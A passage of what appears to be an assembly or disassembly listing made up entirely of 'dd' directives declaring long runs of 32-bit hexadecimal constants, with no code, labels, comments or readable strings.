0F41126h, 422F875Dh dd 8200DF1Eh, 0FEA1F4BCh, 0B8997D06h, 57D60092h, 0DA68A734h dd 1C09D5AFh, 908F93h, 3A2E3375h, 154B003Fh, 0CA61A999h dd 890E24CEh, 93E3531Bh, 25D8FC00h, 6325C8Fh, 8816B7Ch dd 0FD3896F7h, 667B142Fh, 700307B8h, 0B6833C49h, 4888F4E0h dd 5A3800F5h, 9C5B6758h, 5F604FEDh, 0B7B0596Ch, 70C20EE2h dd 89008AF1h, 4943C829h, 2DAFEA05h, 0B8007B85h, 42FF7786h dd 0A6A80435h, 0D0A76BF0h, 6EC88EB4h, 0E12CC300h, 0A5B855E5h dd 7FBE6BBh, 0A42697EEh, 7BCAA0F4h, 0B2EC473Fh, 0A30048FAh dd 81CFE0D7h, 0A35EE3Eh, 70FA7B51h, 0D2DA008Fh, 6A7FD3CBh dd 4D58D100h, 5B8A0115h, 0D6060033h, 5C303BC6h, 0F8008548h dd 8EC8DD75h, 3995A68Bh, 2980F408h, 12A9E479h, 309406DAh dd 5139E260h, 0DE671E20h, 0C33C094Eh, 0BC29D400h, 2009E45h dd 0D54B9F7Fh, 0E6D15D95h, 9AEF00D7h, 2EB98CF1h, 0E02C8B2h dd 71EC775Eh, 0E49C605Ch, 0FF2A0197h, 38E9EF3Eh, 47CCECE7h dd 2BB79900h, 7F48AE6Eh, 0EECF3A5Bh, 0E1FEC680h, 5CD0B83Bh dd 0D8FA58h, 66B0B7CBh, 0D2F626h, 60677174h, 581D105Ah dd 0A9612F01h, 7EAEE61Eh, 56276F0h, 0D74AF320h, 0FC1F8Ch dd 6BE5B76Fh, 148D41Dh, 0EFF403CCh, 80ED537Dh, 4FDA3Bh dd 0F2417848h, 0E747BA92h, 6C00084Eh, 79D8A5F9h, 0ABF006h dd 0CB7266C3h, 90A0CDE8h, 0B73C4475h, 0E6559FE4h, 97F23F80h dd 14822A1h, 86025D98h, 6003A0D9h, 8500AB60h, 0BCDB348Eh dd 0A10174h, 1B1282CFh, 0E2573D09h, 8C5F9139h, 811D0747h dd 15EF12ABh, 942C108Ch, 0A4F62100h, 0E9A94A35h, 8F0CE000h dd 43687CA7h, 3409603h, 6728D8ACh, 0E576027h, 0A9E50018h dd 0F05FD54h, 27A44BABh, 0DB138F80h, 2E48CF44h, 63ED0E08h dd 43902347h, 72FDA8E5h, 1809877h, 0FCAFB31Bh, 0F4A99579h dd 2DECD286h, 443D5405h, 8CD07072h, 4C4FD1BFh, 0E90594F1h dd 0C135621Eh, 0C0DE3D8Eh, 9B00FE12h, 0D437F3BEh, 25D956h dd 2E41B9CEh, 0A3F68758h, 0CAAC1402h, 0E0BFF1BCh, 7BA176Ch dd 33606FFFh, 556180D8h, 0FA01A81Fh, 1E9644D2h, 3F03574h dd 0E178001Dh, 8B1A0AA7h, 0F90312FDh, 61588A93h, 0B829887Bh dd 8C0100F7h, 343C7441h, 0A03B4FAh, 6861AF56h, 0A620D894h dd 7CA848C0h, 0C493A500h, 8AAF7CD3h, 0AE401300h, 7EFB0803h dd 0DA8F00C3h, 2D023290h, 3A0F81D6h, 60F7591Bh, 60B29DF5h dd 0CBC202CDh, 0DF48BCFh, 80F76255h, 35AA2B67h, 28964A3Ch dd 38734694h, 0F04C2028h, 0E3ABB507h, 4120F091h, 507869DCh dd 0E2CDB4F5h, 0A83A048Fh, 0E0E7DEECh, 0F34CF22Ch, 0A69E0608h dd 7A9F86h, 8D2CD2B4h, 31274093h, 6091FC00h, 165F2F1Eh dd 75A600C2h, 97392DBDh, 0E217ADE0h, 0D440CE32h, 0C0D24EF7h dd 372F03BAh, 1E54262Ch, 44AFBEF0h, 0C4CAB900h, 3C5835Ah dd 881C58CDh, 8AAA9D80h, 0C704D5B0h, 9A3815Fh, 7122492h dd 7DFB73CEh, 269F39D8h, 0BAA28109h, 0B9600019h, 0A8DB8Fh dd 6FFC0428h, 0E4449197h, 0C8FF250h, 0CFA23100h, 7B205C09h dd 55290156h, 0E0BF69Eh, 0A9B830A7h, 17814500h, 72BF61DAh dd 0BAD301DCh, 3101FB50h, 56F02FE0h, 0CF9F1EB0h, 4C9480FEh dd 0F703EFAFh, 63C3E8A3h, 0F37A580Fh, 0EB00FEA8h, 30514987h dd 0BF0B0028h, 88332FF1h, 324A2EDh, 170019C0h, 1EC527A9h dd 4B7A0064h, 0B49A2484h, 0A4546785h, 0BF714FA8h, 6D628F00h dd 799E1782h, 0D910E88h, 0C867191Fh, 18DFF30Ah, 0B57B8DF8h dd 170FD8B0h, 93E8FC6Fh, 202C7C80h, 237C38h, 1ECA591h dd 4B2DFF16h, 80211C3Eh, 438B5B60h, 9523E8Eh, 6EFB92D7h dd 7B007F5Eh, 5C974D5h, 0E90EABAh, 10451F67h, 65D7F160h dd 6A0058FAh, 3B1246AAh, 38B3FBFFh, 0A038F85h, 13E5DEA0h dd 6ABC7590h, 16A6AF07h, 0B0700F32h, 1D7EADCDh, 0C7D2470Eh dd 8035DAACh, 9711CCBBh, 6FB6901h, 7488666Dh, 0C617E0h dd 9CD07819h, 0C1B929Eh, 7193C40Fh, 94518760h, 0EF30F9D0h dd 55AD3F9Ch, 0D085D067h, 0F6C944D7h, 0E4A7BE06h, 4CB8DAB2h dd 7A006040h, 0FB607BB5h, 0D4077FDCh, 32A79F99h, 6B4CC57Eh dd 0E12B00BFh, 8E36EFDDh, 0C999100h, 0A0935C9Ch, 97BA2652h dd 6F1695h, 9F6BEE4Bh, 0B238AEFFh, 1EFE0080h, 60E8A81Bh dd 0AA4B188Fh, 0FD181032h, 75615700h, 0B752139Fh, 66700B5h dd 0DA1F659Bh, 5F003DB3h, 0A401D9EBh, 3E627F75h, 90070ECh dd 40589404h, 4700546Fh, 3881B9BFh, 79678E31h, 3C32008Ah dd 397EE970h, 0C83FE258h, 0FD00F515h, 0DBBA7798h, 3864ABh dd 73E6E93Dh, 7AF9110Bh, 4D046106h, 0D8C24Ch, 3DF06C8Eh dd 0A46951AFh, 7F00F374h, 172C19B4h, 0E6ABE0EBh, 6C89043Fh dd 0D0D04DB6h, 3B973132h, 7EC7E400h, 0B4A03302h, 0E17500C2h dd 0B3D481FEh, 35701940h, 3BED8C50h, 0C537BC00h, 5F442DBBh dd 6EDB2E2Eh, 80FC1FD7h, 0ED0849F7h, 84006220h, 55062B61h dd 753073h, 0B1607889h, 0CCB45B91h, 11194A00h, 9C7B5072h dd 2C0600E5h, 0ADA38B31h, 3F00F121h, 0AF622AD7h, 4CBCE623h dd 0E24869DBh, 0E9CD300h, 8986D1DAh, 0D970D500h, 5BEEA892h dd 0A9FE5Ah, 0B61BF87Ch, 731E7595h, 553DEF00h, 0D9C07FDAh dd 506FACDh, 91EB67FDh, 643C8711h, 4004EB9Eh, 0AAC00ADCh dd 0F7086Fh, 0AC9F8A51h, 24ED274Ah, 154B0F09h, 230F806Ch dd 0F0DB9D57h, 0ECEFA0CDh, 990E001Fh, 80829FCEh, 0E179AA10h dd 98313B0Bh, 0C26780A9h, 9D92B9h, 0B3D0D7E8h, 5319D3F9h dd 0A81A9907h, 0B5F0827Bh, 95ACDCh, 8F87E504h, 36C2739Eh dd 4DC0880Fh, 0B235015Eh, 6FEC15E2h, 0B190025h, 6A17626Dh dd 70008A97h, 2C320D9Ah, 3528CFh, 42A67E87h, 8F3E221Ch dd 0E240751Fh, 6E04AB40h, 76FE427h, 77A59246h, 753F4002h dd 9E0FEFCFh, 617FB404h, 5DDB6338h, 0EA367080h, 0BCDF8E20h dd 0B64C7900h, 9385E581h, 94F0FE8h, 0BF2395CEh, 188EECFBh dd 0F4B4F000h, 49E54AE3h, 3DD83E32h, 94E2CD00h, 0C0B01712h dd 905D6F00h, 7A250371h, 55810080h, 665EEF43h, 610C2F5Bh dd 50D83F79h, 0D2AA38C3h, 57D11180h, 0F9E820EBh, 0CE95E301h dd 2C1E4CA0h, 0ECC62881h, 20EBD2A1h, 904D8BDCh, 0A576001Ch dd 0E4561F71h, 0A9420670h, 4A7C99ADh, 30BA783Eh, 462E40F2h dd 0D16400B1h, 0F94AFC50h, 0A513F8C6h, 0D7BC0633h, 0E120BA00h dd 82F47283h, 3DE23C03h, 0EBAE1D77h, 0FC94A8C5h, 0E42C003Ah dd 8343C691h, 0E70EFEADh, 0C0727151h, 1BF5E60Bh, 11D7E0Eh dd 0F6036CFDh, 318DBA79h dd 167C2054h, 94D09524h, 0E2827500h, 130989FCh, 37F45F1h dd 294DC528h, 0D51383F0h, 65EE6F0Ch, 0E021E8h, 101D800Dh dd 998DC62Bh, 0FF3430FBh, 9FC86700h, 51CCBDB2h, 0A0EAF9h dd 0BB3B7B1h, 83FBE566h, 0B0D4DD0Eh, 0C08F6C8Dh, 467E31h dd 3BF144AEh, 3FF05D14h, 60E47F1Fh, 0DC405393h, 0C37075B7h dd 0A06600A8h, 0F51C3805h, 0B5003142h, 71BE78A3h, 1830E796h dd 0A8DC754Dh, 1E00F35Bh, 648F536Bh, 0E05D36h, 9885C0B4h dd 833743E2h, 786B1807h, 8830F3A7h, 329BC80h, 631AD8ABh dd 481CC87Bh, 1B00DD55h, 444E68F0h, 231D006Dh, 368531C5h dd 3800AD78h, 8426AFA2h, 59B804h, 976CBBE1h, 0B4B6ABFh dd 0EBA30D00h, 8FDD7543h, 53A903D6h, 0B86FC366h, 1808DE98h dd 0FFF5A800h, 0E6CF709Fh, 0EE7D0FAFh, 2C80FBAEh, 0DEBD2952h dd 121B651Dh, 7FB50380h, 0AE5E4ECh, 0C179472Dh, 63780FE8h dd 973CF580h, 0BC0518AEh, 0CACF9CF4h, 53278491h, 0E72CEC62h dd 14426E2h, 390CD160h, 56118179h, 164FC5EFh, 0CABDC0h dd 80CB3277h, 6CC2338Eh, 0CC1A100h, 0A61AD34Fh, 0FED407F3h dd 10CC88E2h, 2A3BCFAh, 8CB4801Ch, 0ADCAC200h, 1E171D8Fh dd 9A304Ch, 62E5DD9Dh, 0B500777Bh, 8B19EE92h, 0F11310Ah dd 8D9C0683h, 9ABB7FE0h, 4861D046h, 0A0D90C30h, 7A95530h dd 859CFADFh, 7D1B096h, 0D000CFC6h, 5909AB53h, 7D7F52h dd 0EEF82DB9h, 25F39699h, 16388749h, 0F44063F1h, 44559BCCh dd 0E698E61Dh, 0D53300FFh, 6B66D4A4h, 0CE04A1EEh, 9EDA97B9h dd 13F9A4C0h, 74B624B7h, 95A003BDh, 0EEB80F0Eh, 0D5FAF004h dd 0A3F82407h, 5627DFACh, 1CD9FAA0h, 37C03F3Fh, 1551B901h dd 405D2E5Ah, 93CF25F8h, 0E8285CB0h, 0AA009CB5h, 574D0348h dd 9FC988h, 5870D410h, 0FAB78C42h, 39645B00h, 0B89773D6h dd 810C1C82h, 0FBC78028h, 56E1B726h, 0A4EF8000h, 0DF17FA13h dd 586B1D33h, 0D7A9CF32h, 56680F96h, 369E6840h, 0BB2EF8BAh dd 1028ABAFh, 0CE146F00h, 67F42C54h, 0E87F90h, 139DD281h dd 3C6B2B12h, 15616501h, 32ADD372h, 7B6C6DE8h, 2E423BFCh dd 0FB030077h, 8117AC2Fh, 840074BEh, 0AD67B1CFh, 7BA590h dd 387313EAh, 50EB5C01h, 0F4264892h, 0F800D2E7h, 0D8F083D5h dd 0FC225188h, 2FA1F8h, 0F16755FAh, 7338EC0Bh, 1AA0C8E1h dd 7E06E37Fh, 2F9C6A8Eh, 0BDFF0130h, 4B642D7Fh, 8BD8859Eh dd 0C7AB67ACh, 780C9082h, 0A10288CDh, 0E7F996A6h, 4BCC600Ah dd 0AF363BF8h, 0F5E9BE80h, 70B4745Bh, 3934F900h, 45AB01CEh dd 248472F8h, 6FF082h, 17F607BAh, 0B9008D80h, 95A4D676h dd 70E6FA20h, 0BC3F0045h, 7C7858D1h, 8403258Dh, 0E18E9549h dd 21CCC0F7h, 1C391D10h, 9A00BC29h, 0D7D3314h, 3401577Eh dd 0B6E9852Dh, 9C700986h, 5CC00C2h, 7F9CC735h, 0FA1254FBh dd 6C40BFA8h, 7D5F3F2Fh, 2B801EBAh, 0D242C088h, 0A30C39CBh dd 0D0F7470Fh, 2DE46016h, 7B10857h, 86E1DB62h, 18A1B0BCh dd 400CCF6h, 529B37EEh, 0F0E0D1ADh, 0AFB0016h, 4D251ABAh dd 64B2A15Ah, 4A2D8F5Ch, 3369080Fh, 0E106EC12h, 20F5ACh dd 0D3AFCBC7h, 6F763887h, 0B047E14Ah, 8AE0859Eh, 4C8D50F3h dd 0DB0084E0h, 1053E12Ch, 8B014135h, 0EF8129ADh, 0A540C9C6h dd 3CA73h, 31F81CDEh, 4B38424Dh, 8A00FE7Eh, 49CDD365h dd 1D07C7FBh, 420E30D5h, 0D7FC9DC1h, 0F5916C40h, 5807D17Bh dd 0B79E7D86h, 0FC605C11h, 3C3FE8h, 2632F087h, 0DA247F3Eh dd 1FA71407h, 976028FAh, 0EE2C0A0h, 649B4DA2h, 60A573E7h dd 62B926E7h, 5EC2FB00h, 29F9D5E9h, 0DB3326F3h, 49B60346h dd 8000C74Ah, 0D8BBBCAh, 5B49065h, 222F6DA8h, 5EDC1C8Ch dd 0C50600B8h, 8BB21169h, 0DE0AB0DFh, 0D6002060h, 0D0D20FF8h dd 3C120028h, 0B4403733h, 0C5034E13h, 368BA7B3h, 0E70E8744h dd 0CB676A90h, 547818A6h, 1858348Eh, 48C2864Ch, 0A715D0DFh dd 20544DB6h, 93C52687h, 39F2CA6h, 45B604B8h, 26381A59h dd 0AC22A90Fh, 2BF0734Eh, 0F70200AFh, 0DBF28B92h, 2A007CFFh dd 8CCD424Ch, 0A69F4Bh, 267A24BDh, 0CFFFAB44h, 5E891700h dd 0C23B85E3h, 0DA6B0237h, 9C7E02D3h, 0CD1DDC48h, 565CB800h dd 68EF902Bh, 956000CBh, 0DA3CD5FAh, 8B00DB83h, 0D67F0CB5h dd 0C084835h, 2F729D47h, 0DF0076D0h, 74CA0D24h, 3E174Ah dd 85A9335Bh, 0B860A1DEh, 0FD2793Bh, 40ED0B4Dh, 291B287Fh dd 2DE058A4h, 4714D300h, 0D015BE9Fh, 0A60007F2h, 0D8A14645h dd 54674CB6h, 7A09C42h, 0E6C0FCF3h, 0B1DFB012h, 5204B9B4h dd 872BF6C9h, 9213BB40h, 0C300D469h, 2FDB24B0h, 0C2CA97Eh dd 0B1E57177h, 500CF10h, 0C68191Bh, 0AE69EA8h, 0F7764EC2h dd 0B85687E4h, 65ADA17Bh, 36EC646Ch, 0A11B6A00h, 7C40DCE3h dd 2B9D0155h, 0E50E5A09h, 6E818783h, 6DE02489h, 7FC17B6h dd 80E340D2h, 0BC84B564h, 88B4001Dh, 0A8B04C7Fh, 8A89045Ch dd 0C0ABCA62h, 0FD223408h, 11877737h, 6B70BFA0h, 0CDDB0E6Ch dd 36035CD3h, 0B2904F6Fh, 620165CEh, 0BCD0C750h, 56DCE68Ch dd 872A3AE5h, 16C6D401h, 0F1B27339h, 85508AA3h, 185C04ABh dd 10B10E2Bh, 0A30305B5h, 426CAFBFh, 0AA80CF02h, 19082E5h dd 366D248Ah, 0F5E43B28h, 0EE29909Eh, 44A1A484h, 0B7423921h dd 0EA04BC50h, 126E4921h, 4F9A1045h, 881E1688h, 93402A89h dd 94508419h, 1C419228h, 96B2ECh, 0CC258CD8h, 0E4DF7776h dd 4859160Fh, 4BCEE0h, 0FB6C4FA6h, 0B5820031h, 9A6B8353h dd 0CC79571Bh, 2EBC8000h, 9E92FFF0h, 9F01007Ah, 0F4F5175Bh dd 0EA007854h, 4571D083h, 0F28F81h, 5DAB3507h, 7DCB84BFh dd 0FEBDDE02h, 0E0738E01h, 0DCB81Ch, 6436F58Bh, 23401AAFh dd 2CE8293Eh, 0AD00850Ch, 0BEFFDE28h, 0E8845B87h, 3CDC0001h dd 3F04693h, 0C45C0096h, 0FF120D35h, 610033B2h, 0A1937C9h dd 23B4D6Fh, 1C7D2590h, 2F4132E4h, 26012078h, 74798114h dd 47D30080h, 8BAA95E0h, 2B7D00AFh, 0F1371CAEh, 59008F98h dd 0D0B4B872h, 275C21Dh, 7E4534C5h, 4408A7Ch, 3E008348h dd 0A162A0ACh, 0C66E0Eh, 2BCF97FCh, 0B1BFD8E4h, 0CC42DB00h dd 41FFE01Bh, 953F0051h, 18A8C45Bh, 90006CA5h, 0EA820853h dd 1E5ED93h, 6015F45Fh, 0E899AAD8h, 0B43B1A07h, 0FF9180BAh dd 0F12D9A38h, 0BE5600E8h, 0BD67648Fh, 617C86Eh, 240022F4h dd 9574E2E0h, 0B06A1C77h, 1268C1EEh, 3069978Dh, 0D6097B85h dd 8F40CDD0h, 2954185Eh, 862B00B0h, 6B3F7E05h, 0E73AA197h dd 6D7D8943h, 0EF80009Ch, 3DD856D5h, 6600F88Fh, 0A73757F9h dd 260083B7h, 0FC5C18CCh, 0EAE688CAh, 52FB3C99h, 12DA7300h dd 0CEC181E5h, 24C6BF00h, 7A8FBDB1h, 0C33700AFh, 5C9714D1h dd 9901790Eh, 6B1BCDB3h, 0DFF70Bh, 29B5B078h, 8BE1C9E2h dd 77499000h, 9BE96568h, 0A31E0B4Bh, 0EF80F37Bh, 0EB78533Fh dd 5FAD3B01h, 0A56B1366h, 2EA99C40h, 8D171DA8h, 3343C423h dd 9053C02Ah, 8900858Fh, 0F47A9D72h, 3E0B80h, 0B56BF2FCh dd 6CCFA666h, 60007E7Fh, 0ED35F17Ch, 3C818207h, 0FE007868h dd 301EB402h, 0EB00D1EAh, 97BC4558h, 0E848B03Ah, 68B612ABh dd 0CAA4006Ch, 42EFE65Fh, 63A6200h, 0BC1F9D14h, 0BDE80FD9h dd 1DC6B8B5h, 2A17FC3Eh, 0F2147CCAh, 0C0842434h, 0E0EC3340h dd 0C9953E7Ah, 71F6DA82h dd 0C4402789h, 0E7019732h, 65F0199Dh, 0E4FC5193h, 8AAA0CECh dd 36F81190h, 0A4D6B53Fh, 0C2A43416h, 13021E00h, 0C34B63h dd 9695B5BCh, 5678B212h, 80CF993Bh, 0E503245Eh, 0ECEA0h dd 0A53983D6h, 9816A831h, 4825B61Eh, 1FC49F9h, 0D5016D0Ch dd 3ED8F3B8h, 7379D9h, 0FC6E961Ch, 5DCDFB19h, 16112860h dd 38517D5h, 0CC83666Bh, 180095ADh, 53E9642Ah, 7DBFDBh dd 9E33CDAFh, 0F6F10267h, 0CC923F26h, 88975900h, 0E36A8D7h dd 20B18EEAh, 8000E469h, 4F514A72h, 0CFBF3E00h, 307187B8h dd 0BB11006Ah, 0EA269575h, 0DB00ED4Eh, 8D8A3D4Fh, 7B73FBh dd 53401D82h, 0FFFC6D5Ch, 6E0CC80Eh, 9A47C0CBh, 8CB64Eh dd 0B59EEF5Eh, 0E6FF0510h, 142CAC30h, 6A0F5Ch, 0AAE22A9Fh dd 0A7A30219h, 5F93F00h, 25AD4DE6h, 0B44400A9h, 368F850Eh dd 0F80742E4h, 99258EFh, 1CE65BC0h, 0E5FA022Eh, 53715055h dd 114440C0h, 0ACB8DD06h, 0F8EC05h, 72F604BFh, 0E09281A8h dd 2F46E100h, 23655A07h, 67F01EDCh, 60B4988Bh, 71F4A122h dd 311F1001h, 9636A402h, 2951C20h, 0FD182625h, 3468EED7h dd 0CB7DBE75h, 5F1E9709h, 0A7B88247h, 0E4C04848h, 3F7C7520h dd 0F0C8ACh, 6F429655h, 0CE72BEB4h, 954D510Bh, 6A4C0311h dd 0C730F869h, 825C00C3h, 0FC09528Ah, 0B6025067h, 1DE132CAh dd 0B08C0C5h, 0E8300058h, 887108E7h, 9C00E30Fh, 0A5A26D5h dd 0A0BA876Ah, 3A1B381h, 0CCEFCD56h, 48F01FD7h, 24E26620h dd 32A3EE01h, 0C64957BFh, 2EA82030h, 633922h, 33AED397h dd 50073E3h, 310E2A13h, 3A491D8h, 9B3A6518h, 3DA875A0h dd 0C30ED6ADh, 57204ACCh, 1DEE3900h, 0BC0185h, 273FB8CAh dd 0A45C6316h, 83D3AE00h, 4276B965h, 10260088h, 0D2A9CA6Dh dd 0A200D085h, 0AAEB6F66h, 151CB72Fh, 0ECE56544h, 1DF7AB0Eh dd 6800A0C9h, 2D3F116Ch, 72365D1Ch, 9B96F4E6h, 6025FC0Eh dd 0D47A7079h, 0AAC0F37h, 0EAC31F0Ch, 16F021F0h, 17B80E1h dd 0EBB088B0h, 6792E4FBh, 0F1005579h, 6035104h, 1C093EEh dd 0A38A4553h, 605AD1B0h, 682C6107h, 5200C03Fh, 0F7878D3Ah dd 0EA700467h, 90898A9Ch, 3EF90374h, 88EB5031h, 2A2088DCh dd 0CD95008Ah, 2AB0399Dh, 4700F50Dh, 0E2844023h, 6034F662h dd 0B2B9F08Fh, 0EC928BBBh, 0ECE89600h, 78A8802h, 44E1594Ah dd 17F49700h, 0D2A28FF7h, 21DA4100h, 0DBC6893Eh, 0BB6400B3h dd 0BC677D78h, 837D1A5Fh, 0C9E0800h, 0A87F18Fh, 0AE34097Fh dd 0E8814A6Bh, 0F0A9164Fh, 1E0FCD27h, 0E01DD72Ah, 0BEE5E978h dd 152D00BCh, 0ABC86928h, 0FA7530B7h, 0AABFE000h, 222BE520h dd 4126006Dh, 0B22AD89Ch, 65251B24h, 0FC0C20BEh, 0A4A37320h dd 31D03DE0h, 0BF809CB9h, 5958BC47h, 0B907C36Dh, 0AD954CC5h dd 5DD65E71h, 20C0118Bh, 70B28490h, 0BD08A26h, 9A3ED430h dd 685B24BFh, 56198028h, 0FBADAE49h, 80DCE538h, 0FA1B8DAh dd 7C38C7F4h, 0D0CA17FAh, 0A990063h, 0F197411Fh, 0C42AF700h dd 0DCAED992h, 0D04E0024h, 0EC0A61CAh, 0D6F6CE42h, 5E02C503h dd 151D5C0h, 18A1FE19h, 40351C4Eh, 172071ECh, 77194000h dd 101D9778h, 0A972009Ch, 5AA8A754h, 0EF005F8Ch, 0A23746E2h dd 60E4E8h, 0FA0575F9h, 43B01A30h, 8F27A714h, 849B00F3h dd 7D107229h, 0FB4B0066h, 2F91E3F3h, 7B3D06FDh, 5EBB05C5h dd 848788B5h, 207A0E0Fh, 7469AF37h, 5B310046h, 0A56E8EDFh dd 0D9003A22h, 6244EAE3h, 0EDB721h, 892FFFE9h, 0FEF66C61h dd 4BA30400h, 0BA32B6BFh, 559A20E5h, 8F6B1802h, 438D4521h dd 3989D854h, 0A2A10005h, 44CF7722h, 23007084h, 0FFEB82DBh dd 37A048h, 6EB052E7h, 64BD184Dh, 209CAC05h, 57805AC9h dd 137C85h, 601FD43Dh, 0D82B7418h, 0C000B8F6h, 5E7AA3B5h dd 54B268h, 0CF708CBFh, 0ADF1EA71h, 9DC24B00h, 0B6770484h dd 0E73209BCh, 0B600060Ah, 7F954CEh, 7F6EC3Ah, 0D49BA5A3h dd 4FFBC330h, 9531DD1h, 43A4C0FDh, 0ADBF505Ch, 1428A970h dd 0C7B0E4CAh, 1DB6D258h, 4287B654h, 0D9D0C619h, 0D72168h dd 0EDCF9086h, 0C58AD55Ch, 3ADE1001h, 295E3BF7h, 7C20ACC1h dd 53E00FCh, 0E54FE48Ch, 0E73D4C9Eh, 0B071008Bh, 0E63DC29h dd 0C474016Eh, 8DDB6DA2h, 0FE3170EBh, 0A7609200h, 944595Ah dd 7AD70353h, 2ACCD5C6h, 1C4D17D8h, 3C846F4Ch, 0EA290B46h dd 63C30730h, 0B45DE250h, 20A000A5h, 72381FB6h, 9D003017h dd 0FF088D11h, 563EE0h, 0E46FBF07h, 55EA1266h, 0A0F8230h dd 7BAD13Bh, 0F7BC0D4Eh, 0EF3503C3h, 22CDC001h, 5060F523h dd 0A697E081h, 30F918FEh, 4012A70Ch, 4375ED5h, 0FF13008Eh dd 0E42BC776h, 0F527055Bh, 0C0995F9Dh, 130EA860h, 37C86600h dd 961567D2h, 750B00A0h, 80C50DB0h, 0C1046593h, 0EAD38FABh dd 784AC6h, 192D4492h, 0BD2EAA0Ch, 273AB900h, 914C265Eh dd 0D2AD2E76h, 7CA10077h, 9470A3E8h, 66240561h, 4E460EAh dd 8DDA00F0h, 3134D3B3h, 4C4D96CBh, 0E42C00B8h, 7B801B40h dd 0FC510166h, 0C90442E8h, 0E03AE9A7h, 0AB2D4821h, 453F657h dd 0D1B33D6Bh, 2C042F74h, 4A110000h, 0C6D4780Eh, 84F21Eh dd 6590617Fh, 6F25335h, 0B34AF01h, 0ADFAE938h, 6C51409Ch dd 0F66A0294h, 0B4602A7Bh, 0C200DB64h, 0E92CCE1Ah, 139E5920h dd 283527h, 0DACFF337h, 0A500AFBEh, 48D999DEh, 3878FDh dd 7C0D5BD1h, 0A907CA77h, 0B7CCEE07h, 0C9F58471h, 0E2FFD800h dd 7D14DC0Eh, 45B61F5Fh, 198AC767h, 11FBE05Eh, 9C00CA24h dd 751C4BA9h, 17D9D66h, 65E9E760h, 0E49BCC46h, 0EC0733B9h dd 0C48EBFC8h, 0A308BCD0h, 0D8954CE6h, 0AF3D230Fh, 786BB900h dd 2C0E8CDBh, 0A3BAD4EBh, 0E85A9984h, 1D29E0CAh, 7490662h dd 0B72764A3h, 0DD8F003Ch, 44003EE1h, 2EA64D5Bh, 3E5DEDA8h dd 1920F14h, 0E210016Fh, 0D4BB877Ch, 0EF6538Ah, 6D7F8E00h dd 3757A91Ah, 0EC9B3F90h, 804C179Eh, 2258992Ch, 0B703E0D9h dd 0B03D3F83h, 0B0D3AB57h, 0FB474Fh, 8CE69036h, 0F9EC596Dh dd 46A8EA1Ch, 0A252007Fh, 0E20DE1DCh, 6BBA0035h, 9462120Bh dd 0C09886F6h, 2841C04Ah, 0EFA029EEh, 65B34D10h, 80FA603Bh dd 0A204CA4Ah, 1E9C77E1h, 89EDBFA7h, 40EA2738h, 67BD060h dd 5D11FA09h, 84C08F6Eh, 38A2CF14h, 0D0E80093h, 29A9769Eh dd 91D26B00h, 0B3CC2FDEh, 0B18E0142h, 0AE953707h, 3440205Ah dd 8813A704h, 0F981B60Dh, 342C46B2h, 0ED807800h, 44CC9838h dd 0CE606B3Dh, 4CC96C00h, 2EA2557h, 82A2FC6Dh, 2C5A6FEEh dd 0F9AB7001h, 0F2CF8624h, 0A500A462h, 82FC17C1h, 0E30037BBh dd 0BEFD9574h, 15D5F9Eh, 157A380Dh, 0C9A2DE11h, 0B8D5D8E2h dd 0C74BF00h, 0B442A54Bh, 87EC0Fh, 88C53280h, 0F0E13BB5h dd 0A01F402h, 80136DEFh, 75A61BA8h, 42DD00D9h, 0FF55110Eh dd 28F4EA44h, 49C4C100h, 3617AA05h, 0F00B3B65h, 201DBDACh dd 4E3858D8h, 160F7D00h, 790BDF98h, 0A527F809h, 0C8A9DAh dd 0C67CEFA0h, 742F0009h, 0E12A6F7Eh, 4E004F19h, 2B4B295h dd 0A2E52F7h, 5E355DA3h, 3CB007D8h, 1413D075h, 68004AE6h dd 0E81679Bh, 0A0DEEEh, 95F611AFh, 3C87C293h, 72DFAE00h dd 73825A52h, 0C07F1C33h, 1F9BC074h, 0EF99258h, 4A1BA23Fh dd 0ED6F7000h, 59932Fh, 0F4F66594h, 8E5DB279h, 0A99F7600h dd 0EBA5E7FFh, 5B700088h dd 3B592E03h, 1500F2E3h, 0FF4FD831h, 473940h, 0DDD1A321h dd 0E4DDFD5h, 5A144B01h, 0B86D887Fh, 5D5A20h, 797B934h dd 7BD69AE9h, 68FE1000h, 0B547DCD9h, 0CE9E2CA8h, 0C7003B17h dd 20AA37A1h, 73984012h, 23001EE4h, 0EE88A656h, 9ABD65D1h dd 0E81C0098h, 589557A5h, 1E017AD0h, 0B558039h, 0A0CCF440h dd 18E299h, 6AB71AB0h, 7D5598Bh, 0F60D2400h, 19109071h dd 9A3100A3h, 0D2D1EA36h, 70715157h, 651478B8h, 0B0909Bh dd 59BFDD7Bh, 96974DFAh, 2A12002Ch, 84660D98h, 24ECD13Bh dd 8C007863h, 94EF7A9Eh, 0F28DE5Bh, 300079EEh, 0A8ADDC4h dd 0F57A9926h, 3B5A403h, 0C50003Ch, 8BFA8776h, 0E1CFA76Fh dd 38730A4Fh, 79568C01h, 11808A3Fh, 9F192B94h, 28053BC8h dd 582CC0AAh, 2ADE4D1h, 3008989Ch, 0C3B06268h, 31001EB0h dd 9327CCDAh, 86AE8Ah, 12BEB205h, 6299461Fh, 6066AA01h dd 5DD4110Fh, 8090FCh, 0B75982F8h, 0C85F3D72h, 4E0D2C1Fh dd 0FDA1D080h, 1CB2C5D8h, 9ECA6B6Dh, 987D80A0h, 8F54FCF9h dd 5D470500h, 0D183CBCh, 0C840C35h, 52E09524h, 9917930Bh dd 608C581h, 1089E16Ch, 76A28316h, 2D59D4C1h, 0BF449110h dd 8833D280h, 29C2CC41h, 221543Dh, 0BE22BA22h, 72122232h dd 5F21F124h, 307A113Fh, 129E1B11h, 0B5821315h, 792626h dd 0D4CA8627h, 72A00858h, 0B8C38300h, 0C47FD513h, 74370FAEh dd 6D434BDAh, 2C900648h, 0B67D6F8Eh, 0D05B3Bh, 0E733B19Ch dd 1F9FE6CBh, 43BE1C16h, 20088117h, 433A06F0h, 0DB274400h dd 986F748Bh, 1FE5B093h, 0C052DEC1h, 0E497AF8h, 21005F0Fh dd 0CAB7625Ch, 0C661E4h, 0B0FFB854h, 0F3EEE1D0h, 65EDF900h dd 68F07077h, 0EB780C50h, 5F19CC5Ah, 23763E00h, 380A155Dh dd 0D86C5D3Bh, 41B72Ch, 0C869C234h, 17008608h, 7376CEE9h dd 5B602FEh, 0A1D77478h, 26DCC338h, 0EC0B4180h, 0FC5C1E0Bh dd 0B8406857h, 9CE08044h, 6433F981h, 6FD0014Ah, 0F4289BF1h dd 891F22EFh, 43CE7404h, 0F50092FBh, 0BE56F37Fh, 164F0702h dd 97B36469h, 10A84014h, 0EC382806h, 121500EAh, 20E44886h dd 0ED5C0BADh, 